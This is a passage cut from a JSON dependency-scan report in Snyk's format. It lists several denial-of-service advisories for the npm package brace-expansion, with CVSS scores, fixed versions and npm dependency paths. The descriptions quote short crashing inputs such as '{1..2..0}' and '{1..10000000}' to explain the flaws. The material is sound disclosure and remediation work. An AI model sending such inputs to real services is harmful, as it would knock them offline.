sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], 